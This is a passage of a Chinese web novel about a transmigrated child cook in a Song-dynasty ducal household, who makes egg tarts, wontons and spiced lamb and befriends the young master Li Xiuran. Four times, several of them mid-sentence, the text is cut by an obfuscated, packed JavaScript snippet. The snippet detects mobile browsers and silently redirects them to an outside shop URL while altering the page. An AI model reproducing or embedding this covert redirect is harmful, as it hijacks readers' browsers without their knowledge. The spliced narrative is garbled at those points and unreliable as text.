瑛氏听后语气凉凉：“市街卖酥的那贺家一份酪面就价值百贯，霜哥儿，我看你是睡糊涂了。” 林霜降那时才知晓，原来宋朝的牛乳是很贵很贵的。 后来，在这陌生的朝代生活了一段时日，林霜降对物价有了大致了解，知道此时一斤牛乳市价大约在三百文上下浮动。 听着不多，但丰收时节的一篮子鱼才不到百钱，一石米更是仅需七十文，相较之下，牛乳的价格着实不菲，这才仅仅只是一斤哪！ 怪不得林霜降常听人说“江南贵乳酪，此意兼金重”。 打那之后，林霜降便再没提过牛乳的事，现下闻着浓郁醇厚的奶香也是很久违了。 李国公府的牛乳不依赖外部采买，乳牛、山羊均为自养，就在郊外庄子里专门开辟的乳牛院内，由牧牛奴与挤奶妇负责照料，每日清晨将现挤的新鲜牛乳送来。 林霜降方才倒进来的就是刚挤出没多久的牛乳，已经过煮乳杀菌，还带着一点点的温热，轻而易举便将糖粒全都化开。 蛋液绸滑透亮，细纱筛滤去蛋筋，只留细腻的蛋液在白瓷碗里轻悠晃荡，闻着已经有甜香甜香的味儿了。 蛋挞内馅儿调好，面也醒得差不多了，林霜降将醒好的面团揪成小剂子，擀圆刷油、叠起擀开，反复数次，油与面层层交融，酥皮形状初现。 最后捏成巴掌大的浅底圆盏，倒进蛋奶就能上窑烤了。 封上窑门之后，林霜降隔一会儿便好奇地凑到观火孔去看，见酥皮渐渐泛起金黄，蛋液也从透亮慢慢变得凝实，心里便有了数。 应该是不会翻车了。 约莫两刻钟，香气飘出，酥香、甜香和醇厚的奶香一个劲儿地往鼻子里钻，待到打开窑门，香气更是浓郁得如有实质，甜味成浪，裹挟着热气扑面而来。 陶盘里，一只只蛋挞烤得油亮金黄，酥皮层层焦卷，里面的蛋馅凝得正好，软嫩如凝脂，仿佛轻轻一碰就能化开，上面还挂着几点烤出来的深褐色焦糖斑。 和林霜降从前在甜品店看到的一模一样，甚至还要更胜一筹。 实在太勾人食欲了，他看着都觉得口舌生津。 顾不得烫，林霜降垫着布巾捏起一只，稍微吹了吹热气便往口里送——卞厨娘说了，做好之后，他可以吃。 林霜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937212|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降在这方面是不会客气的。 蛋挞入口，能清楚听见酥皮碎裂的轻响，还没等嚼完，里面的甜软蛋馅便温温柔柔在舌尖化开了，软嫩滑溜，奶味浓厚，香甜可口。 林霜降的评价是完美。 这味道，一点也不比肯某基的差呢！ 他恋恋不舍地将嘴角的酥皮屑舔净，马不停蹄带着刚出炉还冒热气的蛋挞去找卞厨娘了。 *** 自林霜降离开后，卞厨娘心中一直记挂此事，她自然听过林霜降的名字，谁不知这孩子在二郎面前多得脸？ 只是厨艺再好也是个孩子，真能将太阳糕这局给破了？ 卞厨娘心里直打鼓。 直到见到蛋挞真容，她心中的那点担忧才全消解了。 还没吃，卞厨娘心中“色香味”中的“色”这关便已过了，待她趁热尝了一只，更是直接拍板敲定下来。 “今年中和的太阳糕，便是它了！” 哪怕执掌灶头事多年，卞厨娘也从未吃过如此新奇可口的小点，一只吃完犹不过瘾，又连吃两只。 举着剩下的半只蛋挞，卞厨娘由衷感叹：“这么多年来，这是我见过最好的太阳糕了，主君与二哥儿定会喜欢的。” “霜降呀，你这回可真是帮大忙了。” 压在她心头的一块石头，至此总算是落地了。 告别卞厨娘，林霜降并未马上回偏屋，又去了大厨房，重新做了几只蛋挞。 这回的蛋挞与方才不同，内馅里头放了酸甜浓稠的桃酱，吃起来桃香浓郁，酸甜可口，别有一番滋味，是林霜降特意给李修然做的。 李修然几次找他都被他以事多为由推了回去，孩子已经炸毛了。 林霜降过意不去，这桃酱蛋挞就当是给他呼噜顺毛的。 他已经掌握了哄孩子技巧，见了李修然便道：“这桃酱太阳糕是我第一次做，二哥儿尝尝好不好吃。” ——只要告诉李修然这吃食是他第一次做、从未给旁人做过，李修然就会很高兴。 这次也不例外。 李修然原本正因着这几日林霜降的避而不见生闷气，听对方说特意新做了吃食给他，还是听起来就很好吃的桃酱太阳糕，当即心里便美滋滋起来。 “真的吗？” 林霜降点点头，介绍道：“这桃酱是去岁用新鲜桃子熬的，酸甜浓稠，我瞧着好，便拌进馅儿里，增添桃香还能让蛋馅顺滑，比鲜桃味道还要好呢。” 话音未落，李修然便一口咬下。 香软清甜，奶香浓郁，果真好吃。 李修然心中那点不快彻底飞到九霄云外，到了晚上中和宴，看见席面中央摆着的那道熟悉的太阳糕，那股子高兴劲儿更足了。 这太阳糕他不仅提前吃了，还吃的是林霜降做的独一无二的升级版本。 其他人都没有呢！ 见小儿子嘴角一直翘着，李游忍不住问他何事如此高兴。 李修然扬着小脸，骄傲答道：“爹爹，我喜欢中和节。” 李游听了甚感欣慰。 看来让孩子抄书果然管用。 16. 挑菜 宋朝是个节庆氛围浓厚的朝代。 林霜降细细算来，这时候大小节日加在一起共有四十余个，作为新年伊始的春季最是节日颇多。 这不，刚给太阳神过完生日，热热闹闹的挑菜节又到了。 挑菜，“菜”即野菜，“挑”一指挖二指猜，也就是要挖野菜和挑野菜，每到这一节日，无论官民贫富，都要下地去挖野菜，便是皇帝皇后都不能例外。 上行下效，国公府也要举办一场野菜宴席，卞厨娘头天便把去挖野菜的人员名单归置出来了。 自打中和节过后，卞厨娘瞧着林霜降眼神便越发慈爱，谁不喜欢乖巧漂亮还做得一手好饭食的孩子呢？ 这样有有趣的乐事自然是要捎上他的。 名单甫一贴出，林霜降就被常安等人拉过去凑热闹，一眼便瞧见自己的名字赫然在列，甚至排在头几号。 常安并不意外，挑菜本就是全□□动，即便是在大内，除去皇后嫔妃、皇子皇女，太监宫女也都是有资格参加的，霜降为大厨房出了这样多的力，做出的太阳糕人人交口称赞，能去挑菜也不稀奇。 常安真心实意道：“恭喜你啊霜降，你能去挑菜了！听说挑菜可有趣了。” 林霜降抿唇朝他一笑：“你先恭喜你自己吧。” 说完他伸出手指轻轻一点，常安便在名单最下方见着自己的名字，立刻喜出望外地欢呼起来。 “定是那日做太阳糕时，卞厨娘瞧见我帮你敲蛋壳了！” 林霜降也很高兴。 他小时候在老家挖过野菜，不过寥寥数次，但那种收获的喜悦一直记忆犹新，只可惜后来身体条件不允许便没再挖过，如今总算又有机会了。 这还是他第一次跟着大部队一起去挖野菜呢。 他能去，瑛氏却没这个好运气，好在她本人并不在意，反倒很有几分庆幸：挖野菜多累啊，不去正好能在府上歇着。 全府都在准备挑菜节的事，瑛氏无事可做，足足摸鱼半日，到了晚上才想起给林霜降收拾东西，细细嘱咐道：“你明日穿这身短打可要记得将袖口裤脚扎紧了，免得蚊虫钻进去咬你，还有这麻鞋，是我纳了千层底的，很是防滑，保管你明日在田埂踩上一天都不会摔跤。” “最重要的，这斗笠你可要戴好了，万不能让日头将你那白嫩嫩的面皮晒黑！” 瑛氏一贯对“先敬罗衣后敬人”的道理信奉有加，对林霜降的外貌模样看护得极为宝贵，林霜降不理解，明明哪怕他晒成一只煤球也不会影响厨艺分毫。 为了不让姨妈着急，他还是乖巧地应下来。 转天一早，林霜降便穿好短打麻鞋，头顶斗笠，挎着装有小锄、耙子的小竹篮，像一只装备俱全的蘑菇，跟随大部队一同乘牛车出发去挖野菜了。 他们这一行人的目的地，是国公府近郊的自营田庄。 庄园田埂两侧土层肥沃，平时由田庄的佃户庄头打理，估摸着快到日子便会特意留着野菜自由生长，以便人们到时挖取。 到了地方从牛车下来，林霜降着实惊艳了一把。 许是有专人打理，不过刚二月初，荠菜、白蒿、马兰头这些春野绿菜便已长得又大又嫩，春风过处，遍地都是水灵灵的绿，整片田野都荡漾着清新的青草气息。 想到一会儿这些野菜都能随意摘取，林霜降顿时感觉自己就像一只掉进米仓的老鼠。 听完庄头嘱咐的“不许踩踏庄稼”“不能越界”等注意事项，林霜降便像只小鹿般挥舞着小竹耙冲了出去。 他蹲下*身子左右开弓，不多时竹篮就摞了满满一篮子绿菜，看得一旁的常安目瞪口呆。 “霜降，你、你这速度也太快了吧！” 常安也是第一回到田庄来挖野菜，没林霜降那样能将各种野菜记得一清二楚的好记性，一直在心中默默念叨着阿娘告诉他的口诀，“荠菜开小白花”“茵陈叶如绵、色如黛，茎带紫晕不扎手”……倒也收获不少。 但看见林霜降才知道什么是小巫见大巫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937213|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霜降怎么那么厉害啊！ 厉害的林霜降须臾便挖满了三个竹篮的野菜，已经超额完成任务，还很乐于助人地去帮常安他们一起挖，没过多久，庄头标记地方的野菜便全都进了他们的篮子。 一行人满载而归。 挖完野菜便是猜野菜，挑菜宴早早就备好了——将挖来的各式野菜一株株竖插进木斛，另寻一批布条写上野菜名字，卷成小卷，一一压在斛底，若猜者说出的野菜名字与小卷相吻合，即为胜利。① 李修然放学归来路过时，林霜降正在挑菜宴上大杀四方。 野菜也是美食的一种，林霜降上辈子同样也看过不少介绍野菜的书，这些书大多图文丰富，书页里那些马齿苋、蒲公英、灰灰菜的模样，早就像烙印般刻在脑海，清晰得如同昨日才刚温习过。 他忍不住暗想：若是告诉这些小豆丁们，自己认野菜的手艺都是在另一个世界练出来的，会不会吓哭他们？ 正想着，排队的人又轮到他，前面几个小童都因没能成功叫出野菜名字铩羽而归，个个垂头丧气的，但林霜降看看斛中插着的野菜，名字自动便从唇间流淌出来。 “这是茵陈。” 茵陈就是后世俗称的白蒿，有不少人会在早春挖来食用，以蒸煮、凉拌为主，吃来脆嫩爽口，清香中带着松仁的油脂香。 他话音刚落，卞厨娘脸上便露出赞许的微笑，搬起木斛抽出小卷，打开一瞧，上面果真写着“茵陈”。 周围的小童也都瞧见了，明明不是自个儿答出来的，却也都欢呼起来。 “呀，霜降又答对了！” “霜降都连对几回了，得有七八次了吧？” “霜降啊，你好生厉害啊！” 林霜降被夸得微红了脸，谦虚地朝小豆丁们笑了笑。 门外，李修然也听到了那句“霜降你好生厉害”，赞同又骄傲地点了点头。 林霜降就是好厉害好厉害的。 他好喜欢林霜降。 17. 馄饨 挑菜宴毕，林霜降带着战利品，也就是被他成功叫出名字的那几样野菜，高高兴兴前往小厨房，准备用它们做今日要开的小灶。 因其他院里的人也都得了野菜，小厨房比起往常更显热闹，有人用茵陈做起了汤饼，还有拿枸杞苗煮粥的，香气丝丝缕缕地从灶头飘出。 林霜降左瞧右看，寻了处没人的灶眼，择洗了茵陈、蒲公英等野菜，放进开水锅中断生，而后切碎，用盐和香油拌匀，还往里面添了香醋。 筷子拌开，凉拌杂野菜便做好了，酸香扑鼻。 重头戏在荠菜。 宋人喜爱荠菜，每逢春季家家户户的餐桌上常备，本朝著名美食评论家苏东坡先生赞其为“天然之珍”，还创制了以荠菜为食材的东坡羹——荠菜与大米、生姜一起煮，同时在水面上放一只蚬壳，蚬壳里放些菜油，小火焖煮，待壳中清油熬干，化作无形香气融于粥中时，荠菜羹便成了。 还曾在书著中多次提及荠菜，“烂蒸香荠白鱼肥，碎点青蒿凉饼滑”“今日食荠极美……虽不甘于五味，而有味外之美”。 林霜降没时间去寻白鱼蚬子，只打算做道常见，味道却一点不逊色的荠菜猪肉馄饨。 自打李修然盛赞了他做的猪肉小笼包，每日去小厨房摸猪肉的人便渐渐多了起来，林霜降并不感到意外，那可是猪肉，多么鲜美丰腴吃了令人满足的肉啊！ 他只觉得猪肉平反得有些晚了。 缺点也不是没有，小厨房每日剩余的猪肉量日渐稀少，林霜降还记得初到府上时许多猪肉就在案板上面堆着，都没人去瞧一眼，如今甚至要靠抢的。 幸而林霜降今日运气好，幸运地分到了最后一块。 他抢到的这块是猪后腿上的精肉，肥瘦均匀，正适合用来做馄饨。 林霜降两只小手捏着菜刀，全身都在用力，先用刀背将肉馅儿砸得松散，再细细剁到肉糜发黏，里头加姜末、葱花，淋两勺黄酒去腥，末了再撒一小撮细盐、一勺酱油。 这时候的酱油也叫清酱，是从豆酱中沥取的澄澈咸鲜汁液，清淡鲜爽，若要林霜降来说，更偏向后世的味极鲜。 总之用来腌肉馅儿是很好的。 趁此肉馅腌渍的工夫，林霜降又把荠菜挑拣出来，手脚麻利地择洗，只留下能嫩得掐出水的叶和茎，老根、黄叶全捡去，泡洗干净，野菜香清清爽爽，闻着便令人身心舒畅。 等切碎了往肉馅里一拌，瞬间就不一样了，鲜绿的荠菜碎裹挟着粉白的肉糜，绿粉鲜艳，煞是好看。 林霜降还往肉馅里头放了芝麻油，拌匀了闻起来更香了。 之后是擀皮，林霜降不喜吃宋朝传统的大厚皮馄饨，偏爱后世的薄皮馄饨，便耐心用擀面杖将一张张馄饨皮子擀得薄如蝉翼，几乎透光。 再将每张皮子包进丸子大小的肉馅儿，对折捏褶，把两端往中间一捏，一个圆鼓鼓的馄饨就成了。 这时灶上的水也烧开了，林霜降挨个把馄饨下进去，长勺轻推，待馄饨浮起再点半勺凉水，如此反复两次，即是他书中见过的“三点水”的功夫，馄饨便尽熟了。 皮薄透亮，里面绿莹透粉的荠菜猪肉馅儿鲜美诱人。 若是条件允许，林霜降大约会选羊骨或猪骨熬一锅浓白骨汤作为馄饨汤底，眼下没那个时间，用煮馄饨的汤水也是不错的。 碗底铺上虾皮、葱花、芫荽，再点几滴香油陈醋，热汤冲开，馄饨盛入，鲜香扑鼻。 大功告成，林霜降趁热端着馄饨还有那碟子凉拌野菜回了偏屋。 屋内，瑛氏已睡了好几个回笼觉，冷不丁闻到香味，立刻从床上坐起，抽着鼻子迷迷糊糊问道：“霜降，你是不是又做好吃的了？” “是荠菜豕肉馉饳，还有拌野菜。”林霜降将馄饨和拌菜摆在桌上，乖巧招呼瑛氏，“姨妈快些来吃吧。” 其实不必等他招呼，瑛氏已然麻利地从床上爬起，两眼放光地盯着桌上的馄饨。 热气腾腾的荠菜猪肉馄饨个大浑圆，薄如蝉翼的面皮透出内里粉绿色的馅料，汤面上点缀着翠绿的葱花芫荽，油星绽开，浓郁鲜香，令人食指大动。 瑛氏也是第一次瞧见皮子这样薄的馄饨，坐到矮桌前，迫不及待舀起一枚送入口中。 溜滑薄皮一咬即破，鲜美的汤汁立刻溢满口腔，肉汁油润，荠菜清鲜，两者互相衬托，滋味更浓了，鲜中带香又清清爽爽。 与她从前吃过的大厚皮馄饨很不一样。 瑛氏觉着，从前吃过的所有馄饨加起来，都比不过外甥做的这一碗。 她稀里糊涂便把一整碗馄饨连汤带水吃完，连碗底的芫荽、虾皮都舍不得放过，舀着汤喝进嘴里，满口都是鲜味儿。 意犹未尽，又握着筷子去挟盘子里的拌野菜。 她原本没对拌野菜怀抱多大期望，谁知吃起来却意外很有滋有味，清脆爽口。 瑛氏一双筷子从头到尾就没停过，边吃边兴致勃勃地问林霜降：“这都是你在挑菜宴上赢来的？” 林霜降咬着馄饨点头。 瑛氏得意地扬起嘴角，自挑菜宴举办以来，还从未有过几岁的孩童能赢到这么多的野菜呢。 不愧是她的外甥，真是给她长脸！ 林霜降也吃得津津有味，只觉得荠菜脆嫩甘甜，猪肉鲜香不腻。 不愧是他的劳动成果呀。 吃饱喝足，林霜降洗漱刷牙，揉着吃得滚圆的小肚子，舒舒服服地上床睡觉去了。 翌日。 上了一整个白日的课后，到了晚上，林霜降履行诺言，带着几枚枇杷蛋挞去找李修然了。 这批枇杷是从岭南运送而来的，果肉细腻，风味鲜甜，当地人视其为开春第一果。 林霜降将枇杷去皮去核，切成小块，作为添在蛋挞内馅儿里的果肉，烤出来的枇杷蛋挞香甜嫩滑，果香清新，味道极佳。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937214|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林霜降猜想李修然会喜欢，便给他带来了，李修然吃着果然觉得好，说是与桃酱太阳糕不一样的好吃。 林霜降听了这话也高兴，便哄着他道：“等夏初金桃上市，我给二哥儿做金桃太阳糕可好？” 金桃就是黄桃，最早的品种六月份便能上市，果肉色泽金黄，口感甘甜，用来做蛋挞最为合适，而黄桃蛋挞也是后世最受欢迎的水果蛋挞。 林霜降当时做桃酱蛋挞的思路就是仿照此而来的，只是桃子还未上市，便选了桃酱，也是别有一番滋味。 他还想做巧克力蛋挞，奈何这时候的可可豆还好好在老家待着，尚未以“绰科拉”的译名传入华夏，林霜降只能在记忆中回味那顺滑醇甜的口感了。 李修然不知道世界上还有巧克力这种东西，一个金桃太阳糕便已让他心里美得冒泡。 他想，他大约会从现在一直高兴到夏天了。 吃了枇杷蛋挞，还吃了林霜降画的黄桃蛋挞的饼，李修然童颜大悦，命人将贯耳壶搬上来，要和林霜降一起玩投壶。 谁知，壶刚端上来，林霜降便打了个大大的哈欠——他试图忍住来着，但没能成功。 林霜降打完哈欠便开始心虚，心怀侥幸地催眠自己“李修然没看到”，悄悄抬眼望过去，就和李修然对上了视线。 “……”林霜降暗道一声不好。 他看见了！ 投壶是这位小祖宗最喜爱的一项活动，而他当着李修然最喜爱的壶打哈欠，李修然肯定要不高兴了。 道歉的话即将脱口而出，林霜降张了张嘴，就听李修然问道：“你可是困了？” 林霜降连忙摇头，“我不困。” 话音未落又是一个哈欠。 “……” 这回人赃物质俱在，他再也抵赖不得了。 林霜降困成这副模样是很有一番原因的。 自打他中和节做出蛋挞后，卞厨娘认为他是个可塑之才，便不叫袁厨工继续教他活计了，换成自己来。 卞厨娘不上水课，教给林霜降的全是真本领，虽然刨去平日上工还要额外多在厨院泡好几个时辰，很是辛苦，但林霜降还是很愿意和卞厨娘学习。 就是有一点困而已。 李修然歪头瞧了瞧他的困样，说：“困了就去睡觉。” 如今林霜降面对李修然已不再像最初那样害怕，听他都这么说了便不再推拒，行了个礼告辞。 谁知还没走出几步就被李修然叫住了。 “林霜降，你要去哪儿？” 林霜降一头雾水地转身，还是乖巧答道：“二哥儿，我要回去睡觉呀。” 刚才不是都说好了么？ 难不成李修然是反悔了，又不想让他回去睡觉了？ “你那屋那么远，等你走回去，只怕是人都要清醒了。” “就在这儿和我一起睡吧。”李修然仰着小脸，理所当然道。 18. 谈心 林霜降看着他，怔住了。 他又不傻，自然知晓这些天来李修然待自己有多特别，只当对方是难得遇见年岁相仿的玩伴，又贪嘴他做的吃食，这才格外与他亲近几分。 但也没想到是亲近到能同在一张床睡觉的程度。 两个小孩子同在一张床上睡觉，在林霜降的印象中，是关系很好的好朋友之间才会做的事。 上辈子他还没生病时，总看见邻家孩子互相串门，夏日里两个小男孩手拉手去买冰棍，下午头挨头一起看漫画书，夜里还要躺在一张床上说悄悄话。 这便是他对“青梅竹马”的全部认知。 他悄悄瞄了眼神色认真的李修然，心想，李修然扯他同寝，是也将他当作这样亲近的朋友了么？ 不光是林霜降，院里其他人听到这话也都惊着了。 他们在府上侍奉多年，向来知道二哥儿眼高于顶，连投壶都不屑与人同玩，怎会像寻常孩童般要人陪着睡——哦，想起来了，投壶也是二哥儿主动拉这小童一同玩耍了的。 众人当中，只有景明一脸老神在在。 他早就见识过太阳打北边出来了，如今再见不仅接受良好，还贴心地思索起来，待会儿林霜降若真要与二哥儿同睡的话该添哪条被子。 林霜降想了想还是拒绝了，“二哥儿，这不合规矩，我身上的灶火气怕是会冲撞了……” 他话还没说完就被李修然拉着手腕带进了屋。 “这府里谁的规矩能大过我去？” 换做其他孩童来说这话，怕是会滑稽非常，但李修然说便只会令人深感信服。 林霜降也想这么肆无忌惮的活一次，但他不能，急急找借口道：“二哥儿，我姨母还在等我，晚上我若不回去，她会担心的。” 李修然见招拆招：“我已经派人去知会你姨母了。” “明日清早厨院便要点卯，到时我起身怕是会扰了二哥儿清梦……” “无妨，我睡得沉，你吵不醒我。” “……” 林霜降又找了几个借口，都被李修然轻而易举化解，说到最后，他也没招了，手足无措地坐在床榻上。 “我、我……” 李修然睡的是四柱架子床，比他偏屋里头的小床要大太多，也舒服多了，丝绵填充的厚褥柔软温暖，林霜降坐着却好似被烫了屁股。 他的无措显而易见，李修然蹙起眉头，不明白为何自己第一次要和人睡觉便遭到如此拒绝。 但由于配得感过高，李修然被拒绝了也不难过，只很疑惑：他在学堂每日都洗澡，身上干净得很，一点都不臭，林霜降为何不愿意和他一起睡？ 须臾，李修然回过味来，扭头问道：“林霜降，你是不是怕我？” 林霜降一愣，点点头，又摇了摇头。 李修然声名在外，是出了名的难伺候，林霜降起初的确有些忌惮，但这么多日相处下来，知道这小孩本性不坏，渐渐便没有之前那么怕他了。 但不怕他也能不代表能睡一张床啊。 他这一番犹豫情态落入李修然眼中，李修然便什么都明白了：“是因为外头那些传言吧。” “那些人在背后怎么说，当我不知道么？不过是些说我顽劣不堪的难听话。” 他一屁股坐在林霜降身侧，稚嫩的童声满是不解：“阿娘曾告诉过我，不必学那些虚头巴脑的礼数，但求痛快度过一生，难道不与那些规矩教条一个模子长出来，便是错了？” 林霜降也曾听母亲说过类似的话。 那时他刚刚生病，情绪低落，妈妈便拉着他的手安慰他，“只要霜降今天比昨天高兴更多，那就是赢了。” 不也是随性而活的道理？ 他母亲与李修然的阿娘，都盼望他们平安快乐，按自己心意而活。 林霜降忽然便与李修然感同身受了。 他侧头看向身旁金尊玉贵的小公子，眼底漾开一片柔和涟漪。 “那今日我与二哥儿一起睡可好？” “不……” 方才见林霜降许久没有言语，李修然还以为他又要变着法的拒绝自己，要回答的话都想好了，没想到对方一开口却是个惊天好消息。 他定定看了林霜降两秒，确认他没同自己开玩笑，马上扭头吩咐景明去铺床拿被子。 只要被子枕头一拿，林霜降便再跑不了了。 李修然志在必得。 他今日说什么也要和林霜降一起睡！ *** 家中二郎与灶房烧火童同榻而眠，这样的事便是打着灯笼都寻不着，一经出便有如插了翅膀般传遍了国公府每个角落。 李修然转天就被提过去问话了。 李游坐在椅上，头疼地按了按眉心，“你又给我惹出了什么祸事。” 李修然梗着脖子回答：“那些耳报神不是都和父亲禀明了？父亲应该都清楚了才是。” 他临出门前便已做好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937215|192894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挨上十几板子的准备了，一点都不害怕。 李游并未发怒，发怒对李修然毫无作用，他试图感化小儿子，语重心长地道：“你这样，不合礼数。” 他早将昨夜当值的婆子、守院的侍卫分别唤来问过，众人皆说那小童再三推拒，是自家混小子硬扯着人家衣袖往寝榻拽的。 既非那小童蓄意攀附，李游便不会迁怒，在他心中，赏罚分明远比名声重要得多。 “有什么不合礼数的？”李修然直视父亲的眼睛，“爹爹，您是否觉得他在灶下烧火，身份低微，不配与国公府嫡子结交？” 李修然极少用这般语气跟他说话，李游蹙了蹙眉，沉声开口：“我从未如此想过。” 他的确从未想过。 脑海蓦然浮现出妻子年轻时的面庞，秋猎时节，红衣少女骑着烈马从林间冲出，令他一见倾心。 倘若他真是个只论门第之人，便不会不顾宗族反对，求娶当时只是驯马女的妻子做正头大娘子。 听亲爹如此表态，李修然继续道：“爹爹也知，真心相待之人不该以身份相论，林霜降人好厨艺也好，我喜欢他，想与他成为朋友，有何不可？” 李游沉默半晌，到底是妥协了，“罢了，要同寝也可。” “但你需得记得，日后要安心在国子监修学，先生们布置的策论需认真完成，不可仗着自己都已会了便得意忘形，贪图玩耍。” 李修然毫不犹豫点头应下。 只要晚上能和林霜降一起睡觉，这些都算不得什么。 在小儿子倏然亮起的眼神中，李游又慢悠悠补了句：“每日的炙羊肉也必须用完。” 李修然：“……” 羊肉……吃羊肉…… 这是他平生最不愿做的事了！ 看见那张前一刻还喜悦洋溢的小脸瞬间垮下去，李游端起茶盏，掩住了笑意。 总该让这无法无天的小子也尝尝被拿捏的滋味。 这天晚上，林霜降依然在李修然那张四柱架子床上睡下了。 林霜降睡觉时很乖，双手交叠规规矩矩搁在锦被外，翻身也只是窸窸窣窣挪动寸许，呼吸很轻，像只安静的小鹿。 想到明日一早便要去啃羊肉，李修然感觉十分忧愁，但一偏头，看到林霜降近在咫尺的恬静睡颜，脸蛋红扑扑的，睫毛像小扇子…… 他又觉得一切都值得了。 只要以后都能和林霜降睡觉，吃羊肉就吃羊肉吧！ 19. 花饼 林霜降不知李修然为了和他同床共枕做出了什么牺牲，只是觉得，李修然近日吃羊肉的次数好像越发频繁了。 他看过李修然吃羊肉。 每回吃羊肉时，李修然都会先闭眼深吸一口气，而后去盘子里挟那块最小的炙羊肉，再视死如归般塞进嘴咀嚼几下，仰头闭眼咽下。 全程眉头都拧得死紧。 林霜降看着都觉得是在虐待儿童了。 同在一张榻上头挨头、脚抵脚地睡了几日，林霜降对待李修然亲近许多，觉得他这样实在可怜，心有不忍，便想着研究一下如何让羊肉变得更好吃。 这样一来李修然也不必每回都好似奔赴刑场了。 府里日常食用的羊以北方绵羊为主，河东羊、陕西羊、京东羊，还有少量西域羊，全都肉质鲜美口感香嫩，羊种肯定是没问题的；给李修然做炙羊肉之人是掌勺的卞大厨娘，厨艺方面也没问题。 如此便只能从蘸料着手了。 炙羊肉多用羊肋条肉，炭火炙烤，蘸姜醋汁或蒜泥酱油，搭配薄饼、胡饼食用。 林霜降认为症结就是出在蘸料上面，既然炙羊肉就是烤羊排，那必然是要撒上足足的辣椒面孜然粉才好吃的。 宋朝没有辣椒，此时要想获得辛辣味主要依靠本土原产的香料与蔬菜，如姜、蒜、芥辣、花椒、茱萸等，其中茱萸味道辛辣带麻，最为肖似后世的辣椒，林霜降打算用它充作辣椒替身，磨了粉撒在烤好的羊肋条上；孜然也都备上。 孜然这时候不叫孜然，叫“马芹”，味道和现代差异不大，只是和胡椒一样价格高昂，但买不起是林霜降的缺点，不是李修然的，林霜降无需担忧。 他和卞厨娘商议好，今日上的炙羊肉便撒满了孜然粉、茱萸粉、胡椒粉、花椒粉，还有烤至金黄酥脆的白芝麻，种种料粉相加，便是再浓烈的腥膻味也被杀得差不多了，还能使羊肉变得更焦香可口。 李修然本来已像往常那样做好了与羊肉搏斗的准备，没想到一口咬下，令他厌恶的腥膻味道竟然没有出现。 羊肉烤得恰到好处，外皮带着轻微的焦脆感，内里却嫩得能溢出汁水，瘦肉紧实不柴，肥肉油润软糯，入口即化。 最可贵的是，一丝膻味都没有。 长这么大以来，这还是李修然第一次体会到羊肉的好滋味。 而且知道这是林霜降为了给他改善饮食特意置备的，李修然更觉美妙，心里暖洋洋的，高兴得要飞起来。 四五筷子下肚，李修然吃得身上都微微出了汗，虽然有心还想再吃，但还是停下来，装出一副吃饱了的模样对林霜降道：“我吃不下了，你吃吧。” 林霜降歪头看了眼那滋滋冒着油花的半扇羊肋，指了指自己：“啊，给我吃吗？” 李修然煞有介事点头：“对，你不吃今日便不许走。” 林霜降：“……” 这小孩怎么这么霸道。 在李修然的威逼利诱下，林霜降最终还是抱着羊排乖乖啃了起来。 看他一小口一小口慢慢吃着，李修然小脸上终于露出满意的微笑。 林霜降这些日子忙里忙外，没个停歇时候，很该多吃一些。 他太瘦了，得养胖点，晚上睡觉抱着才不会硌手。 *** 本朝春时，中和节、挑菜节、花朝节三节相邻，相差不过十余日，送走中和节挑菜节，紧接着便是二月仲春的花朝日。 花朝节，顾名思义，正是百花竞放、暖风醉人的好时节，此时汴京城有个极有意思的活动，叫放园子，文人墨客喜爱称其为“放春”，便是高门大户或富贵人家，将精心打理的私家园林敞开大门，任游人入内赏玩春色。 百姓们趁着春日晴好，呼朋引伴，涌入一座座平日里不得见的精致园林。 林霜降也听说过玉壶园、云洞园等热门园林去处，还有嘉会门外的包家山，据说那儿的桃花开得如锦缎一般，云蒸霞蔚，艳极一时。 除了赏花，还有扑蝶、斗草、蹴鞠，各色活动应有尽有，足以见汴京人民有多会享受春日闲暇。 活动有趣，但林霜降只想待在府上做糕饼，便拒了李修然邀他同去杨太尉花园的请求，为着此事，李修然很不乐意，临走前一张小脸还紧紧绷着。 